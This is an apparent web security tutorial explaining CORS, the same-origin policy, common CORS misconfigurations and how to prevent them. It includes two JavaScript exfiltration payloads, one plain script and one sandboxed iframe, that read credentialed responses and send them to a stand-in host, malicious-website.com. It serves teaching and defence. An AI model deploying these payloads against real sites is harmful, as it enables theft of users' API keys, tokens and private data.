**What is CORS (cross-origin resource sharing)?**

Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the same-origin policy (SOP). However, it also provides potential for cross-domain attacks, if a website's CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF).

**What is the same-origin policy?**

The same-origin policy is a web browser security mechanism that aims to prevent websites from attacking each other.

The same-origin policy restricts scripts on one origin from accessing data from another origin. An origin consists of a URI scheme, domain and port number. For example, consider the following URL:

http://normal-website.com/example/example.html

This uses the scheme http, the domain normal-website.com, and the port number 80. The following table shows how the same-origin policy will be applied if content at the above URL tries to access other origins:

|  |  |
| --- | --- |
| **URL accessed** | **Access permitted?** |
| http://normal-website.com/example/ | Yes: same scheme, domain, and port |
| http://normal-website.com/example2/ | Yes: same scheme, domain, and port |
| https://normal-website.com/example/ | No: different scheme and port |
| http://en.normal-website.com/example/ | No: different domain |
| http://www.normal-website.com/example/ | No: different domain |
| http://normal-website.com:8080/example/ | No: different port\* |

\*Internet Explorer will allow this access because IE does not take account of the port number when applying the same-origin policy.

**Why is the same-origin policy necessary?**

When a browser sends an HTTP request from one origin to another, any cookies, including authentication session cookies, relevant to the other domain are also sent as part of the request. This means that the response will be generated within the user's session, and include any relevant data that is specific to the user. Without the same-origin policy, if you visited a malicious website, it would be able to read your emails from GMail, private messages from Facebook, etc.

**How is the same-origin policy implemented?**

The same-origin policy generally controls the access that JavaScript code has to content that is loaded cross-domain. Cross-origin loading of page resources is generally permitted. For example, the SOP allows embedding of images via the <img> tag, media via the <video> tag and JavaScript includes with the <script> tag. However, while these external resources can be loaded by the page, any JavaScript on the page won't be able to read the contents of these resources.

There are various exceptions to the same-origin policy:

* Some objects are writable but not readable cross-domain, such as the location object or the location.href property from iframes or new windows.
* Some objects are readable but not writable cross-domain, such as the length property of the window object (which stores the number of frames being used on the page) and the closed property.
* The replace function can generally be called cross-domain on the location object.
* You can call certain functions cross-domain. For example, you can call the functions close, blur and focus on a new window. The postMessage function can also be called on iframes and new windows in order to send messages from one domain to another.

Due to legacy requirements, the same-origin policy is more relaxed when dealing with cookies, so they are often accessible from all subdomains of a site even though each subdomain is technically a different origin. You can partially mitigate this risk using the HttpOnly cookie flag.

It's possible to relax same-origin policy using document.domain. This special property allows you to relax SOP for a specific domain, but only if it's part of your FQDN (fully qualified domain name). For example, you might have a domain marketing.example.com and you would like to read the contents of that domain on example.com. To do so, both domains need to set document.domain to example.com. Then SOP will allow access between the two domains despite their different origins. In the past it was possible to set document.domain to a TLD such as com, which allowed access between any domains on the same TLD, but now modern browsers prevent this.

**Relaxation of the same-origin policy**

The same-origin policy is very restrictive and consequently various approaches have been devised to circumvent the constraints. Many websites interact with subdomains or third-party sites in a way that requires full cross-origin access. A controlled relaxation of the same-origin policy is possible using cross-origin resource sharing (CORS).

The cross-origin resource sharing protocol uses a suite of HTTP headers that define trusted web origins and associated properties such as whether authenticated access is permitted. These are combined in a header exchange between a browser and the cross-origin web site that it is trying to access.

# CORS and the Access-Control-Allow-Origin response header

In this section we explain what the Access-Control-Allow-Origin header is in respect of CORS, and how it forms part of CORS implementation.

The cross-origin resource sharing specification provides controlled relaxation of the same-origin policy for HTTP requests to one website domain from another through the use of a collection of HTTP headers. Browsers permit access to responses to cross-origin requests based upon these header instructions.

## What is the Access-Control-Allow-Origin response header?

The Access-Control-Allow-Origin header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match.

## Implementing simple cross-origin resource sharing

The cross-origin resource sharing (CORS) specification prescribes header content exchanged between web servers and browsers that restricts origins for web resource requests outside of the origin domain. The CORS specification identifies a collection of protocol headers of which Access-Control-Allow-Origin is the most significant. This header is returned by a server when a website requests a cross-domain resource, with an Origin header added by the browser.

For example, suppose a website with origin normal-website.com causes the following cross-domain request:

GET /data HTTP/1.1

Host: robust-website.com

Origin : https://normal-website.com

The server on robust-website.com returns the following response:

HTTP/1.1 200 OK

...

Access-Control-Allow-Origin: https://normal-website.com

The browser will allow code running on normal-website.com to access the response because the origins match.

The specification of Access-Control-Allow-Origin allows for multiple origins, or the value null, or the wildcard \*. However, no browser supports multiple origins and there are restrictions on the use of the wildcard \*.

## Handling cross-origin resource requests with credentials

The default behavior of cross-origin resource requests is for requests to be passed without credentials like cookies and the Authorization header. However, the cross-domain server can permit reading of the response when credentials are passed to it by setting the CORS Access-Control-Allow-Credentials header to true. Now if the requesting website uses JavaScript to declare that it is sending cookies with the request:

GET /data HTTP/1.1

Host: robust-website.com

...

Origin: https://normal-website.com

Cookie: JSESSIONID=<value>

And the response to the request is:

HTTP/1.1 200 OK

...

Access-Control-Allow-Origin: https://normal-website.com

Access-Control-Allow-Credentials: true

Then the browser will permit the requesting website to read the response, because the Access-Control-Allow-Credentials response header is set to true. Otherwise, the browser will not allow access to the response.

## Relaxation of CORS specifications with wildcards

The header Access-Control-Allow-Origin supports wildcards. For example:

Access-Control-Allow-Origin: \*

#### Note

Note that wildcards cannot be used within any other value. For example, the following header is **not** valid:

Access-Control-Allow-Origin: https://\*.normal-website.com

Fortunately, from a security perspective, the use of the wildcard is restricted in the specification as you cannot combine the wildcard with the cross-origin transfer of credentials (authentication, cookies or client-side certificates). Consequently, a cross-domain server response of the form:

Access-Control-Allow-Origin: \*

Access-Control-Allow-Credentials: true

is not permitted as this would be dangerously insecure, exposing any authenticated content on the target site to everyone.

Given these constraints, some web servers dynamically create Access-Control-Allow-Origin headers based upon the client-specified origin. This is a workaround for CORS constraints that is not secure. We'll show you how this can be exploited later.

## Pre-flight checks

The pre-flight check was added to the CORS specification to protect legacy resources from the expanded request options allowed by CORS. Under certain circumstances, when a cross-domain request includes a non-standard HTTP method or headers, the cross-origin request is preceded by a request using the OPTIONS method, and the CORS protocol necessitates an initial check on what methods and headers are permitted prior to allowing the cross-origin request. This is called the pre-flight check. The server returns a list of allowed methods in addition to the trusted origin and the browser checks to see if the requesting website's method is allowed.

For example, this is a pre-flight request that is seeking to use the PUT method together with a custom request header called Special-Request-Header:

OPTIONS /data HTTP/1.1

Host: <some website>

...

Origin: https://normal-website.com

Access-Control-Request-Method: PUT

Access-Control-Request-Headers: Special-Request-Header

The server might return a response like the following:

HTTP/1.1 204 No Content

...

Access-Control-Allow-Origin: https://normal-website.com

Access-Control-Allow-Methods: PUT, POST, OPTIONS

Access-Control-Allow-Headers: Special-Request-Header

Access-Control-Allow-Credentials: true

Access-Control-Max-Age: 240

This response sets out the allowed methods (PUT, POST and OPTIONS) and permitted request headers (Special-Request-Header). In this particular case the cross-domain server also allows the sending of credentials, and the Access-Control-Max-Age header defines a maximum timeframe for caching the pre-flight response for reuse. If the request methods and headers are permitted (as they are in this example) then the browser processes the cross-origin request in the usual way. Pre-flight checks add an extra HTTP request round-trip to the cross-domain request, so they increase the browsing overhead.

## Does CORS protect against CSRF?

CORS does not provide protection against cross-site request forgery (CSRF) attacks, this is a common misconception.

CORS is a controlled relaxation of the same-origin policy, so poorly configured CORS may actually increase the possibility of CSRF attacks or exacerbate their impact.

There are various ways to perform CSRF attacks without using CORS, including simple HTML forms and cross-domain resource includes.

**Vulnerabilities arising from CORS configuration issues**

Many modern websites use CORS to allow access from subdomains and trusted third parties. Their implementation of CORS may contain mistakes or be overly lenient to ensure that everything works, and this can result in exploitable vulnerabilities.

**Server-generated ACAO header from client-specified Origin header**

Some applications need to provide access to a number of other domains. Maintaining a list of allowed domains requires ongoing effort, and any mistakes risk breaking functionality. So some applications take the easy route of effectively allowing access from any other domain.

One way to do this is by reading the Origin header from requests and including a response header stating that the requesting origin is allowed. For example, consider an application that receives the following request:

GET /sensitive-victim-data HTTP/1.1

Host: vulnerable-website.com

Origin: https://malicious-website.com

Cookie: sessionid=...

It then responds with:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://malicious-website.com

Access-Control-Allow-Credentials: true

...

These headers state that access is allowed from the requesting domain (malicious-website.com) and that the cross-origin requests can include cookies (Access-Control-Allow-Credentials: true) and so will be processed in-session.

Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that absolutely any domain can access resources from the vulnerable domain. If the response contains any sensitive information such as an API key or CSRF token, you could retrieve this by placing the following script on your website:

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);

req.withCredentials = true;

req.send();

function reqListener() {

location='//malicious-website.com/log?key='+this.responseText;

};

**Errors parsing Origin headers**

Some applications that support access from multiple origins do so by using a whitelist of allowed origins. When a CORS request is received, the supplied origin is compared to the whitelist. If the origin appears on the whitelist then it is reflected in the Access-Control-Allow-Origin header so that access is granted. For example, the application receives a normal request like:

GET /data HTTP/1.1

Host: normal-website.com

...

Origin: https://innocent-website.com

The application checks the supplied origin against its list of allowed origins and, if it is on the list, reflects the origin as follows:

HTTP/1.1 200 OK

...

Access-Control-Allow-Origin: https://innocent-website.com

Mistakes often arise when implementing CORS origin whitelists. Some organizations decide to allow access from all their subdomains (including future subdomains not yet in existence). And some applications allow access from various other organizations' domains including their subdomains. These rules are often implemented by matching URL prefixes or suffixes, or using regular expressions. Any mistakes in the implementation can lead to access being granted to unintended external domains.

For example, suppose an application grants access to all domains ending in:

normal-website.com

An attacker might be able to gain access by registering the domain:

hackersnormal-website.com

Alternatively, suppose an application grants access to all domains beginning with

normal-website.com

An attacker might be able to gain access using the domain:

normal-website.com.evil-user.net

**Whitelisted null origin value**

The specification for the Origin header supports the value null. Browsers might send the value null in the Origin header in various unusual situations:

* Cross-origin redirects.
* Requests from serialized data.
* Request using the file: protocol.
* Sandboxed cross-origin requests.

Some applications might whitelist the null origin to support local development of the application. For example, suppose an application receives the following cross-origin request:

GET /sensitive-victim-data

Host: vulnerable-website.com

Origin: null

And the server responds with:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

In this situation, an attacker can use various tricks to generate a cross-origin request containing the value null in the Origin header. This will satisfy the whitelist, leading to cross-domain access. For example, this can be done using a sandboxed iframe cross-origin request of the form:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open('get','vulnerable-website.com/sensitive-victim-data',true);

req.withCredentials = true;

req.send();

function reqListener() {

location='malicious-website.com/log?key='+this.responseText;

};

</script>"></iframe>

**Exploiting XSS via CORS trust relationships**

Even "correctly" configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

Given the following request:

GET /api/requestApiKey HTTP/1.1

Host: vulnerable-website.com

Origin: https://subdomain.vulnerable-website.com

Cookie: sessionid=...

If the server responds with:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com

Access-Control-Allow-Credentials: true

Then an attacker who finds an XSS vulnerability on subdomain.vulnerable-website.com could use that to retrieve the API key, using a URL like:

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

**Breaking TLS with poorly configured CORS**

Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For example, when the application receives the following request:

GET /api/requestApiKey HTTP/1.1

Host: vulnerable-website.com

Origin: http://trusted-subdomain.vulnerable-website.com

Cookie: sessionid=...

The application responds with:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com

Access-Control-Allow-Credentials: true

In this situation, an attacker who is in a position to intercept a victim user's traffic can exploit the CORS configuration to compromise the victim's interaction with the application. This attack involves the following steps:

* The victim user makes any plain HTTP request.
* The attacker injects a redirection to:

http://trusted-subdomain.vulnerable-website.com

* The victim's browser follows the redirect.
* The attacker intercepts the plain HTTP request, and returns a spoofed response containing a CORS request to:

https://vulnerable-website.com

* The victim's browser makes the CORS request, including the origin:

http://trusted-subdomain.vulnerable-website.com

* The application allows the request because this is a whitelisted origin. The requested sensitive data is returned in the response.
* The attacker's spoofed page can read the sensitive data and transmit it to any domain under the attacker's control.

This attack is effective even if the vulnerable website is otherwise robust in its usage of HTTPS, with no HTTP endpoint and all cookies flagged as secure.

**Intranets and CORS without credentials**

Most CORS attacks rely on the presence of the response header:

Access-Control-Allow-Credentials: true

Without that header, the victim user's browser will refuse to send their cookies, meaning the attacker will only gain access to unauthenticated content, which they could just as easily access by browsing directly to the target website.

However, there is one common situation where an attacker can't access a website directly: when it's part of an organization's intranet, and located within private IP address space. Internal websites are often held to a lower security standard than external sites, enabling attackers to find vulnerabilities and gain further access. For example, a cross-origin request within a private network may be as follows:

GET /reader?url=doc1.pdf

Host: intranet.normal-website.com

Origin: https://normal-website.com

And the server responds with:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: \*

The application server is trusting resource requests from any origin without credentials. If users within the private IP address space access the public internet then a CORS-based attack can be performed from the external site that uses the victim's browser as a proxy for accessing intranet resources.

**How to prevent CORS-based attacks**

CORS vulnerabilities arise primarily as misconfigurations. Prevention is therefore a configuration problem. The following sections describe some effective defenses against CORS attacks.

**Proper configuration of cross-origin requests**

If a web resource contains sensitive information, the origin should be properly specified in the Access-Control-Allow-Origin header.

**Only allow trusted sites**

It may seem obvious but origins specified in the Access-Control-Allow-Origin header should only be sites that are trusted. In particular, dynamically reflecting origins from cross-origin requests without validation is readily exploitable and should be avoided.

**Avoid whitelisting null**

Avoid using the header Access-Control-Allow-Origin: null. Cross-origin resource calls from internal documents and sandboxed requests can specify the null origin. CORS headers should be properly defined in respect of trusted origins for private and public servers.

**Avoid wildcards in internal networks**

Avoid using wildcards in internal networks. Trusting network configuration alone to protect internal resources is not sufficient when internal browsers can access untrusted external domains.

**CORS is not a substitute for server-side security policies**

CORS defines browser behaviors and is never a replacement for server-side protection of sensitive data - an attacker can directly forge a request from any trusted origin. Therefore, web servers should continue to apply protections over sensitive data, such as authentication and session management, in addition to properly configured CORS.